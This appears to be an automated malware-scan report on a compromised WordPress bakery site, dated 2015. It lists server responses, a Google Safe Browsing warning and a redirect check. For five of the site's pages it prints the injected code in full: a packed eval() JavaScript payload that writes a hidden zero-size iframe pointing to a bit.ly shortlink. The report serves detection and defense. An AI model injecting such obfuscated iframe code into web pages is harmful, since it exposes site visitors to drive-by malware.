Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=elvirascake.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.elvirascake.com/ | HTTP/1.1 302 Moved Temporarily Connection: close Date: Sat, 17 Jan 2015 23:56:21 GMT Location: http://elvirascake.com/b021/ Server: nginx Content-Type: text/html X-Powered-By: PleskLin | clean |
http://elvirascake.com/b021/ | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 17 Jan 2015 23:56:23 GMT Location: http://www.elvirascake.com/b021/ Server: nginx Content-Length: 0 Content-Type: text/html; charset=UTF-8 X-Pingback: http://www.elvirascake.com/b021/xmlrpc.php X-Powered-By: PleskLin | clean |
http://www.elvirascake.com/b021/ | 200 OK Content-Length: 15805 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3(\'<1 4="5://6.7/8" 9="0" a="0" b="0" c=0 d=0></1>\');',14,14,'|iframe|document|write|src|http|bit|ly|1BC4pKP|width|height|frameborder|marginwidth|marginheight'.split('|'),0,{})) Antivirus reports:
| ||
http://www.elvirascake.com/b021/wp-includes/js/jquery/jquery.js?ver=1.10.2 | 200 OK Content-Length: 93128 Content-Type: application/x-javascript | clean |
http://www.elvirascake.com/b021/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 7200 Content-Type: application/x-javascript | clean |
http://www.elvirascake.com/b021/wp-content/themes/ikaros/js/plugins.min.js | 200 OK Content-Length: 138869 Content-Type: application/x-javascript | clean |
http://www.elvirascake.com/b021/wp-content/themes/ikaros/js/scripts.js | 200 OK Content-Length: 12817 Content-Type: application/x-javascript | clean |
http://www.elvirascake.com/b021 | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 17 Jan 2015 23:56:28 GMT Location: http://www.elvirascake.com/b021/ Server: nginx Content-Length: 309 Content-Type: text/html; charset=iso-8859-1 | clean |
http://www.elvirascake.com/test404page.js | 404 Not Found Content-Length: 281 Content-Type: text/html | clean |
http://www.elvirascake.com/b021/?page_id=974 | 200 OK Content-Length: 12133 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3(\'<1 4="5://6.7/8" 9="0" a="0" b="0" c=0 d=0></1>\');',14,14,'|iframe|document|write|src|http|bit|ly|1BC4pKP|width|height|frameborder|marginwidth|marginheight'.split('|'),0,{})) Antivirus reports:
| ||
http://www.elvirascake.com/b021/?page_id=1550 | 200 OK Content-Length: 48575 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3(\'<1 4="5://6.7/8" 9="0" a="0" b="0" c=0 d=0></1>\');',14,14,'|iframe|document|write|src|http|bit|ly|1BC4pKP|width|height|frameborder|marginwidth|marginheight'.split('|'),0,{})) Antivirus reports:
| ||
http://www.elvirascake.com/b021/?page_id=629 | 200 OK Content-Length: 10717 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3(\'<1 4="5://6.7/8" 9="0" a="0" b="0" c=0 d=0></1>\');',14,14,'|iframe|document|write|src|http|bit|ly|1BC4pKP|width|height|frameborder|marginwidth|marginheight'.split('|'),0,{})) Antivirus reports:
| ||
http://www.elvirascake.com/b021/?page_id=1254 | 200 OK Content-Length: 9574 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3(\'<1 4="5://6.7/8" 9="0" a="0" b="0" c=0 d=0></1>\');',14,14,'|iframe|document|write|src|http|bit|ly|1BC4pKP|width|height|frameborder|marginwidth|marginheight'.split('|'),0,{})) Antivirus reports:
| ||
http://www.elvirascake.com/b021/wp-content/uploads/flan-napolitano.png | 200 OK Content-Length: 301184 Content-Type: image/png | clean |
http://www.elvirascake.com/b021/wp-content/uploads/bananasplit.png | 200 OK Content-Length: 282759 Content-Type: image/png | clean |
http://www.elvirascake.com/b021/wp-content/uploads/rompope.png | 200 OK Content-Length: 292145 Content-Type: image/png | clean |
http://www.elvirascake.com/b021/wp-content/uploads/nuez.png | 200 OK Content-Length: 299292 Content-Type: image/png | clean |
http://www.elvirascake.com/b021/wp-content/uploads/mosaico.png | 200 OK Content-Length: 303832 Content-Type: image/png | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: elvirascake.com
Result:
GET / HTTP/1.1
Host: elvirascake.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: elvirascake.com
Referer: http://www.google.com/search?q=elvirascake.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: elvirascake.com
Referer: http://www.google.com/search?q=elvirascake.com
Result:
The result is similar to the first query. There are no suspicious redirects found.